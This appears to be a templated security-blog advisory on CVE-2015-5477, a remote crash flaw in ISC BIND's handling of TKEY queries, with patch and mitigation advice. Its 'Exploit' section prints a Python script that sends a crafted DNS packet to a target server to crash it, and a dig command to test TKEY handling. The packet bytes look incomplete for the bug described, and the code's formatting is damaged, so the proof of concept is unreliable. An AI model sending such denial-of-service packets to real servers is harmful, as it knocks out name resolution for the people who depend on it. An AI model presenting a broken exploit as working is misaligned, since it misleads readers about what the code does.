Listen to this Post
CVE-2015-5477 affects the ISC BIND DNS server software.
The flaw resides specifically in the `named` daemon component.
It impacts BIND versions 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3.
The root cause is improper handling of incoming TKEY query packets.
TKEY stands for Transaction Key, used for key exchange in DNS.
An attacker can send a specially crafted TKEY query over the network.
The BIND server attempts to process this malicious query message.
Due to flawed validation logic, an internal precondition check fails.
This triggers a `REQUIRE` assertion failure inside the daemon code.
`REQUIRE` assertions are strict safety checks built into BIND.
When a `REQUIRE` assertion fails, BIND considers the state unsafe.
To prevent memory corruption, BIND deliberately terminates itself.
This abrupt termination results in an immediate daemon exit.
Consequently, the DNS service crashes completely, causing a denial of service.
Remote attackers can exploit this flaw without any authentication.
No prior privileges or valid cryptographic keys are needed to send the query.
The attack vector is entirely network-based via standard UDP or TCP ports.
Attackers can automate the sending of these packets to cause continuous outages.
Service recovery requires manual intervention or automated restart scripts.
Repeated crashes prevent legitimate clients from resolving domain names.
This compromises enterprise networks, ISPs, and authoritative name servers.
The vulnerability was discovered and reported publicly in July 2015.
Major Linux distributions and vendors quickly issued security advisories.
Remediation involves upgrading to BIND versions 9.9.7-P2 or 9.10.2-P3.
Workarounds included disabling or restricting TKEY queries if upgrading was delayed.
Security tools like Snort released signatures to detect exploitation attempts.
The vulnerability highlights the risks inherent in complex protocol parsers.
Assertion failures in server daemons represent critical availability risks.
Proper input validation remains essential to prevent service disruptions.
CVE-2015-5477 remains a classic textbook example of assertion-based DoS.
DailyCVE Form:
Platform: ISC BIND 9
Version: Before 9.10.2-P3
Vulnerability: Denial of Service
Severity: High risk level
date: July 28 2015
Prediction: July 29 2015
(end of form)
What Undercode Say
Check installed BIND version named -v Monitor named service status systemctl status bind9 Check logs for assertion failure messages tail -f /var/log/syslog | grep "REQUIRE" Test TKEY query handling using dnsutils package dig @target_ip example.com TKEY
Exploit: (Educational Purposes!)
import socket
Conceptual proof of concept structure for CVE-2015-5477
Sending a malformed TKEY query to trigger the REQUIRE assertion failure in named
target_ip = "192.168.1.100"
target_port = 53
Crafted DNS packet with malicious TKEY record payload
tkey_payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x05tkey\x03com\x00\x00\xf9\x00\xff"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(tkey_payload, (target_ip, target_port))
sock.close()
print("Malicious TKEY query sent to trigger assertion failure.")
Protection: from this CVE
Upgrade ISC BIND immediately to version 9.9.7-P2 or 9.10.2-P3 or later.
Restrict or disable TKEY queries if immediate patching is not feasible.
Implement network firewalls to filter unauthorized DNS traffic.
Monitor DNS daemon logs continuously for unexpected service exits and assertion errors.
Deploy intrusion detection system rules to block anomalous TKEY queries.
Impact:
Complete denial of service affecting all DNS resolution capabilities.
Unauthenticated remote crash of the `named` daemon without requiring valid credentials.
Service unavailability impacting dependent enterprise applications and network clients.
Potential cascading failures across dependent infrastructure services relying on name resolution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
